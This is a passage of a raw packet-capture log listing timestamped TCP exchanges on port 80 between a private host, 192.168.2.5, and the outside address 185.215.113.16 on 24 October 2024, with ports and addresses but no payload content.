Oct 24, 2024 19:29:30.046607971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046622992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046638012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046638966 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046654940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046667099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046670914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046688080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046710014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046721935 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046735048 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046739101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046755075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046771049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046787024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046793938 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046803951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046816111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046818018 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046843052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046866894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046881914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046899080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046905994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046916008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046933889 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.046955109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046971083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046984911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.046993017 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.047002077 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.047018051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.047019958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.047144890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.047161102 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.047199011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.047214031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.047229052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.047243118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.047264099 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.047292948 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.052086115 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.093379974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.093396902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.093411922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.093456984 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122473955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122489929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122504950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122522116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122556925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122618914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122633934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122649908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122673035 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122719049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122735023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122750998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122764111 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122766972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122785091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122791052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122822046 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122869015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122884989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122899055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122922897 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.122967958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122982979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.122999907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123006105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123044014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123054981 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123070002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123085022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123101950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123112917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123133898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123141050 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123151064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123166084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123188972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123279095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123294115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123311043 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123337030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123352051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123382092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123383999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123399973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123424053 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123433113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123445988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123466969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123481989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123482943 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123497009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123506069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123512030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123528004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123531103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123543978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123581886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123667002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123682976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123697996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123722076 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123738050 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123769045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123784065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123800039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123816013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123836994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123850107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123866081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123867035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123884916 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123898983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123903036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123934984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123950958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123965979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.123975039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.123999119 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124001026 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124016047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124032021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124053955 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124068022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124078035 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124102116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124118090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124133110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124146938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124152899 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124176025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124186039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124208927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124222994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124227047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124245882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124274015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124299049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124314070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124329090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124342918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124353886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124358892 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124377966 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124397039 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124469042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124484062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124499083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124526024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124663115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124679089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124705076 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124711037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124728918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124742985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124752998 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124775887 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124793053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124795914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.124808073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.124830008 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.153631926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.159739971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159763098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159780025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159805059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.159823895 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.159859896 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159876108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159892082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159917116 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.159936905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159954071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159970045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159986973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.159993887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160003901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160020113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160021067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160034895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160048962 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160052061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160093069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160099030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160114050 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160129070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160132885 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160214901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160254002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160278082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160298109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160330057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160341978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160346031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160366058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160367012 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160396099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160413027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160429001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160434961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160444975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160451889 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160470009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160486937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160578966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160594940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160609961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160626888 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160645008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160655975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160660982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160679102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160693884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160710096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160727978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160937071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160952091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160968065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.160969019 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.160980940 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161003113 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161021948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161040068 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161077976 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161128998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161144972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161159992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161183119 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161241055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161257029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161274910 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161290884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161308050 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161376953 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161415100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161431074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161454916 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161551952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161567926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161606073 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161626101 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161642075 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161667109 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.161680937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.161720037 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162287951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162305117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162321091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162347078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162357092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162372112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162386894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162389994 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162404060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162445068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162482023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162496090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162512064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162527084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162532091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162544012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162554979 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162580967 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162640095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162662983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162679911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162713051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162717104 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162729979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162746906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162749052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162764072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162780046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162797928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162802935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162812948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162830114 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162851095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162868023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162883997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162899971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162914991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162930012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162935019 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162946939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162957907 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.162986994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.162987947 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.163006067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163022041 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163038015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163058043 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.163084984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163096905 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.163120031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163136005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163151979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163155079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.163170099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.163192034 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.164463997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164479971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164495945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164515018 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.164535046 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.164731979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164767027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164784908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164799929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164810896 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.164815903 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164834023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164834976 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.164844036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164870024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.164892912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164908886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164925098 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164931059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.164943933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164961100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.164978981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.165004969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:30.165041924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.165059090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.165074110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.165090084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:30.165106058 CEST	80	49725	185.215.113.16	192.168.2.5
